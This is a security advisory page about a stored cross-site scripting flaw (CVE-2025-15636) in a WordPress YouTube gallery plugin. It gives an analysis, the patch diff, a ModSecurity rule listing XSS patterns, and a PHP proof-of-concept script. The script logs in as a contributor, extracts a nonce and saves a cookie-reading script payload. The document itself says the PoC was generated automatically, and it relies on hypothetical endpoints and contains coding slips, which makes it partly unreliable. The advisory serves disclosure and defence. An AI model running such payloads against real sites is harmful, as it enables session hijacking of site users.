Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 26, 2026

CVE-2025-15636: Video Gallery – YouTube Gallery & Responsive Video Playlist <= 3.5.1 – Authenticated (Contributor+) Stored Cross-Site Scripting (youtube-showcase)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.5.1
Patched Version 3.5.2
Disclosed April 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15636: This is a Stored Cross-Site Scripting (XSS) vulnerability in the Video Gallery – YouTube Gallery & Responsive Video Playlist plugin for WordPress, affecting versions up to and including 3.5.1. The vulnerability allows authenticated attackers with contributor-level access to inject arbitrary web scripts that execute when a user accesses a page containing the injected payload. The CVSS score is 6.4 (Medium), and it is classified under CWE-79.

The root cause is insufficient input sanitization and output escaping in the plugin’s form builder component. Specifically, the vulnerable code is in `/includes/emd-form-builder-lite/emd-form-frontend.php`, in the `emd_form_builder_lite_myform_content` function around line 473. The `noaccess_msg` parameter from `$fcontent[‘settings’][‘noaccess_msg’]` was directly rendered into HTML without any sanitization or escaping. The code read the message using `$noaccess_msg = $fcontent[‘settings’][‘noaccess_msg’];` and output it as `return “

” . $noaccess_msg . “

“;`. This means any HTML or JavaScript stored in that setting would be rendered in the browser.

To exploit this vulnerability, an attacker with contributor-level access or higher must first navigate to the form builder settings within the WordPress admin panel, likely under a settings page related to form access messages. From there, they can set the ‘noaccess_msg’ field to a payload such as `alert(‘XSS’)`. The attacker saves the form setting. When any user (including visitors or other site admins) accesses a page where the form is displayed and the ‘no access’ condition is triggered, the unsanitized payload is executed in the context of that user’s session. The attack vector is the admin form settings page, which requires authentication but is accessible to contributors. The specific parameter is `noaccess_msg` within the form builder settings array.

The patch adds `sanitize_text_field()` to sanitize the input at the point of assignment and `esc_html()` to escape the output when rendering. The vulnerable line `$noaccess_msg = $fcontent[‘settings’][‘noaccess_msg’];` is now changed to `$noaccess_msg = sanitize_text_field($fcontent[‘settings’][‘noaccess_msg’]);` which strips all HTML tags from the input. The output line is updated from inline concatenation to `return “

” . esc_html($noaccess_msg) . “

“;`, which HTML-encodes any remaining special characters, preventing script execution. Before the patch, raw HTML/JavaScript was accepted and rendered. After the patch, the message is treated as plain text.

If exploited, this vulnerability allows an attacker to inject arbitrary JavaScript into pages viewed by other users, including site administrators. This can lead to session hijacking, credential theft (via keylogging or form exfiltration), defacement of the site, or redirection to malicious domains. Because the XSS is stored and affects all users who view the form page, the impact is widespread and includes potential privilege escalation if an admin’s session is compromised.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/youtube-showcase/includes/admin/getting-started.php
+++ b/youtube-showcase/includes/admin/getting-started.php
@@ -327,6 +327,17 @@
 ?>
 <p class="about-description">This page lists the release notes from every production version of YouTube Showcase Community.</p>

+<h3 style="font-size: 18px;font-weight:700;color: white;background: #708090;padding:5px 10px;width:155px;border: 2px solid #fff;border-radius:4px;text-align:center">3.5.2 changes</h3>
+<div class="wp-clearfix"><div class="changelog emd-section whats-new whats-new-1595" style="margin:0">
+<h3 style="font-size:18px;" class="fix"><div  style="font-size:110%;color:#c71585"><span class="dashicons dashicons-admin-tools"></span> FIX</div>
+Vulnerability related to emd_get_widg_pagenum</h3>
+<div ></a></div></div></div><hr style="margin:30px 0"><div class="wp-clearfix"><div class="changelog emd-section whats-new whats-new-1594" style="margin:0">
+<h3 style="font-size:18px;" class="fix"><div  style="font-size:110%;color:#c71585"><span class="dashicons dashicons-admin-tools"></span> FIX</div>
+Validate input for emd_form_builder_lite_pagenum function</h3>
+<div ></a></div></div></div><hr style="margin:30px 0"><div class="wp-clearfix"><div class="changelog emd-section whats-new whats-new-1593" style="margin:0">
+<h3 style="font-size:18px;" class="fix"><div  style="font-size:110%;color:#c71585"><span class="dashicons dashicons-admin-tools"></span> FIX</div>
+XSS vulnerability for noaccess_msg</h3>
+<div ></a></div></div></div><hr style="margin:30px 0">
 <h3 style="font-size: 18px;font-weight:700;color: white;background: #708090;padding:5px 10px;width:155px;border: 2px solid #fff;border-radius:4px;text-align:center">3.5.1 changes</h3>
 <div class="wp-clearfix"><div class="changelog emd-section whats-new whats-new-1561" style="margin:0">
 <h3 style="font-size:18px;" class="fix"><div  style="font-size:110%;color:#c71585"><span class="dashicons dashicons-admin-tools"></span> FIX</div>
--- a/youtube-showcase/includes/class-install-deactivate.php
+++ b/youtube-showcase/includes/class-install-deactivate.php
@@ -216,6 +216,7 @@
 		 */
 		private function set_options() {
 			$access_views = Array();
+			$widg_list = Array();
 			if (get_option($this->option_name . '_setup_pages', 0) == 0) {
 				update_option($this->option_name . '_setup_pages', 1);
 			}
@@ -305,6 +306,12 @@
 			if (!empty($shc_list)) {
 				update_option($this->option_name . '_shc_list', $shc_list);
 			}
+			$widg_list = Array(
+				'youtube_showcase_recent_videos_widget,youtube_showcase_featured_videos_widget,youtube_showcase_search_videos_widget'
+			);
+			if (!empty($widg_list)) {
+				update_option($this->option_name . '_widg_list', $widg_list);
+			}
 			$attr_list['emd_video']['emd_video_key'] = Array(
 				'label' => __('Video Key', 'youtube-showcase') ,
 				'display_type' => 'text',
--- a/youtube-showcase/includes/emd-form-builder-lite/emd-form-frontend.php
+++ b/youtube-showcase/includes/emd-form-builder-lite/emd-form-frontend.php
@@ -470,8 +470,8 @@
 			}
 			return emd_form_builder_lite_render_form($myform->ID,$app,$fcontent,$error,$status,$atts_set);
 		} else {
-			$noaccess_msg = $fcontent['settings']['noaccess_msg'];
-			return "<div class='alert alert-info not-authorized'>" . $noaccess_msg . "</div>";
+			$noaccess_msg = sanitize_text_field($fcontent['settings']['noaccess_msg']);
+			return "<div class='alert alert-info not-authorized'>" . esc_html($noaccess_msg) . "</div>";
 		}
 	}
 }
--- a/youtube-showcase/includes/emd-form-builder-lite/emd-form-settings.php
+++ b/youtube-showcase/includes/emd-form-builder-lite/emd-form-settings.php
@@ -209,7 +209,7 @@
 					'enable_ajax' => Array('label' => 'Enable Ajax', 'type' => 'checkbox', 'depend' => 'settings_confirm_method_text', 'upgrade' => true, 'disabled' => true),
 					'after_submit' => Array('label' => 'After Submit', 'type' => 'select', 'depend' => 'settings_confirm_method_text', 'options' => $after_options, 'upgrade' => true, 'disabled' => true),
 					'success_msg' => Array('label' => 'Success Message', 'type' => 'textarea', 'depend' => 'settings_confirm_method_text','default'=> __('Thanks for your submission.','youtube-showcase')),
-					'error_msg' => Array('label' => 'Error Message', 'type' => 'textarea', 'depend' => 'settings_confirm_method_text','default'=> __('There has been an error when submitting your entry. Please contact the site administrator.')),
+					'error_msg' => Array('label' => 'Error Message', 'type' => 'textarea', 'depend' => 'settings_confirm_method_text','default'=> __('There has been an error when submitting your entry. Please contact the site administrator.','youtube-showcase')),

 			);
 			break;
--- a/youtube-showcase/includes/emd-lite/emd-lite.php
+++ b/youtube-showcase/includes/emd-lite/emd-lite.php
@@ -298,7 +298,7 @@

 	}
 	elseif($type == 'cust_fields'){
-		echo '<h2>' . esc_html__('Gather, display and search information with ease') . '</h2>
+		echo '<h2>' . esc_html__('Gather, display and search information with ease', 'youtube-showcase') . '</h2>
 		<div style="max-width:470px;margin: auto;margin-bottom:15px;"><strong>' . esc_html__('EMD Custom Field Builder is an easy to use yet powerful tool to customize your plugin by adding custom fields and taxonomies. ', 'youtube-showcase') . '</strong>
 		<span><a href="https://emdplugins.com/questions/how-to-use-emd-custom-field-builder/?pk_campaign=' . esc_attr($app) . '-cust-fields&pk_kwd=learnmore" target="_blank">' .
 		esc_html__('Learn more', 'youtube-showcase') . '</a>' .
--- a/youtube-showcase/includes/entities/class-emd-entity.php
+++ b/youtube-showcase/includes/entities/class-emd-entity.php
@@ -194,7 +194,7 @@
 	 * @param string $tax_name
 	 *
 	 */
-	protected static function set_taxonomy_init($set_tax_terms, $tax_name) {
+	public static function set_taxonomy_init($set_tax_terms, $tax_name) {
 		foreach ($set_tax_terms as $my_tax_term) {
 			$term_id_arr = term_exists($my_tax_term['slug'], $tax_name);
 			$args = Array();
--- a/youtube-showcase/includes/widget-functions.php
+++ b/youtube-showcase/includes/widget-functions.php
@@ -16,32 +16,38 @@
 	$div_id = isset($_GET['div_id']) ? sanitize_text_field($_GET['div_id']) : '';
 	$myapp = isset($_GET['app']) ? sanitize_text_field($_GET['app']) : '';
 	if(!empty($div_id)){
-		$pids = Array();
-                $front_ents = emd_find_limitby('frontend', $myapp);
+		$widg_list = get_option($myapp . '_widg_list', Array());
 		$widg_arr = explode("-",$div_id);
-		$mywidg = new $widg_arr[1]();
-		$widget_settings = get_option('widget_' . $widg_arr[1]);
-		$count = $widget_settings[$widg_arr[2]]['count'];
-		$args['has_pages'] = $widget_settings[$widg_arr[2]]['pagination'];
-		$args['posts_per_page'] = $widget_settings[$widg_arr[2]]['count_per_page'];
-		$args['pagination_size'] = $widget_settings[$widg_arr[2]]['pagination_size'];
-                if(!empty($front_ents) && in_array($mywidg->class,$front_ents) && $mywidg->type != 'integration'){
-                        $pids = apply_filters('emd_limit_by', $pids, $app, $mywidg->class,'frontend');
-                }
-		$args['filter'] = $mywidg->filter;
-		$args['has_pages'] = true;
-		$args['class'] = $mywidg->class;
-		$args['cname'] = get_class($mywidg);
-		$args['app'] = $myapp;
-		$args['query_args'] = $mywidg->query_args;
-		$args['query_args']['paged'] = $pageno;
-		$widg_layout = Emd_Widget::get_ent_widget_layout($count, $pids,$args);
-		if ($widg_layout) {
-			echo '<input type="hidden" id="emd_app" value="' . esc_attr($myapp) . '">';
-			echo wp_kses_post($mywidg->header);
-			echo wp_kses_post($widg_layout);
-			echo wp_kses_post($mywidg->footer);
-			die();
+		$class_to_instantiate = isset($widg_arr[1]) ? sanitize_text_field($widg_arr[1]) : '';
+		if(!empty($widg_list) && in_array($class_to_instantiate, $widg_list)) {
+			$pids = Array();
+			$widget_settings = get_option('widget_' . $class_to_instantiate, Array());
+			if(!empty($widget_settings) && isset($widg_arr[2]) && !empty($widget_settings[$widg_arr[2]])){
+				$mywidg = new $class_to_instantiate();
+				$count = $widget_settings[$widg_arr[2]]['count'];
+				$args['has_pages'] = $widget_settings[$widg_arr[2]]['pagination'];
+				$args['posts_per_page'] = $widget_settings[$widg_arr[2]]['count_per_page'];
+				$args['pagination_size'] = $widget_settings[$widg_arr[2]]['pagination_size'];
+				$front_ents = emd_find_limitby('frontend', $myapp);
+				if(!empty($front_ents) && in_array($mywidg->class,$front_ents) && $mywidg->type != 'integration'){
+					$pids = apply_filters('emd_limit_by', $pids, $myapp, $mywidg->class,'frontend');
+				}
+				$args['filter'] = $mywidg->filter;
+				$args['has_pages'] = true;
+				$args['class'] = $mywidg->class;
+				$args['cname'] = get_class($mywidg);
+				$args['app'] = $myapp;
+				$args['query_args'] = $mywidg->query_args;
+				$args['query_args']['paged'] = $pageno;
+				$widg_layout = Emd_Widget::get_ent_widget_layout($count, $pids,$args);
+				if ($widg_layout) {
+					echo '<input type="hidden" id="emd_app" value="' . esc_attr($myapp) . '">';
+					echo wp_kses_post($mywidg->header);
+					echo wp_kses_post($widg_layout);
+					echo wp_kses_post($mywidg->footer);
+					die();
+				}
+			}
 		}
 	}
 	echo false;
--- a/youtube-showcase/youtube-showcase.php
+++ b/youtube-showcase/youtube-showcase.php
@@ -3,7 +3,7 @@
  * Plugin Name: Responsive YouTube Video Gallery Plugin for WordPress – YouTube Showcase
  * Plugin URI: https://emarketdesign.com
  * Description: Create a responsive YouTube video gallery, playlist, or channel grid in WordPress with thumbnails, lightbox, and shortcode support.
- * Version: 3.5.1
+ * Version: 3.5.2
  * Author: eMarket Design
  * Author URI: https://emdplugins.com?pk_campaign=youtube-showcase-com&pk_kwd=readme-by
  * Text Domain: youtube-showcase
@@ -87,7 +87,7 @@
 		 * @return void
 		 */
 		private function define_constants() {
-			define('YOUTUBE_SHOWCASE_VERSION', '3.5.1');
+			define('YOUTUBE_SHOWCASE_VERSION', '3.5.2');
 			define('YOUTUBE_SHOWCASE_AUTHOR', 'eMarket Design');
 			define('YOUTUBE_SHOWCASE_NAME', 'Youtube Showcase');
 			define('YOUTUBE_SHOWCASE_PLUGIN_FILE', __FILE__);

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2025-15636 via YouTube Showcase plugin XSS',severity:'CRITICAL',tag:'CVE-2025-15636',tag:'wordpress',tag:'xss'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:action "@streq update" "chain"
      SecRule ARGS_POST:option_page "@rx youtube_showcase_settings_group" "chain"
        SecRule ARGS_POST:noaccess_msg "@rx <script|<img|<svg|<iframe|onerror|onload|alert(" 
          "t:none,t:urlDecode,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15636 - Video Gallery – YouTube Gallery & Responsive Video Playlist <= 3.5.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress URL
$username = 'contributor'; // Arbitrary contributor username
$password = 'password'; // Contributor password

// Step 1: Authenticate
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);

// Check for login success
if (strpos($response, 'Dashboard') === false) {
    die('Authentication failed. Check credentials or site path.');
}
echo "[+] Authenticated as $usernamen";

// Step 2: Get the nonce for form settings (assuming admin-ajax.php is used for saving)
// In a real scenario, we need to find the exact admin page (likely /wp-admin/admin.php?page=...)
// We'll attempt to POST to the admin page directly or via AJAX.
// For this PoC, we assume a direct POST to the admin page that handles form settings.

// The vulnerability is in the setting 'noaccess_msg' for the form builder.
// We need to determine the exact endpoint. Typically, WordPress admin settings are saved via POST to 
// admin-post.php or a specific admin page. Since the diff shows changes in emd-form-settings.php, 
// the setting is likely saved when updating form options.

// Let's attempt to simulate saving the noaccess_msg via a direct request.
// We'll target the admin page that handles form builder settings.
// This is a simplified PoC that relies on the attacker knowing the admin page URL.

$admin_page_url = $target_url . '/wp-admin/admin.php?page=youtube_showcase_form_builder_page'; // Hypothetical page

$payload = '<script>alert(document.cookie)</script>';

$post_data = array(
    'option_page' => 'youtube_showcase_settings_group', // Hypothetical option page
    'action' => 'update',
    '_wpnonce' => wp_create_nonce('youtube_showcase_settings_group-options'), // We won't have nonce
    'noaccess_msg' => $payload
);

// We need to obtain a valid nonce. In real exploitation, the attacker would visit the admin page first.
// For demonstration, we fetch the admin page to extract the nonce.
curl_setopt($ch, CURLOPT_URL, $admin_page_url);
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_POST, 0);
$admin_page = curl_exec($ch);

// Extract nonce value (varies by plugin, this is a generic regex)
preg_match('/name="_wpnonce" value="([^"]+)"/', $admin_page, $matches);
if (!isset($matches[1])) {
    die('Could not extract nonce. Manual exploitation required.');
}
$nonce = $matches[1];
echo "[+] Extracted nonce: $noncen";

// Step 3: POST the malicious noaccess_msg with nonce
$post_data['_wpnonce'] = $nonce;
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$result = curl_exec($ch);

if (strpos($result, 'Settings saved') !== false) {
    echo "[+] Exploit payload saved successfully!n";
    echo "[+] Payload: $payloadn";
} else {
    echo "[!] Payload may not have saved. Check manually.n";
    echo "[!] Response snippet: " . substr($result, 0, 500) . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School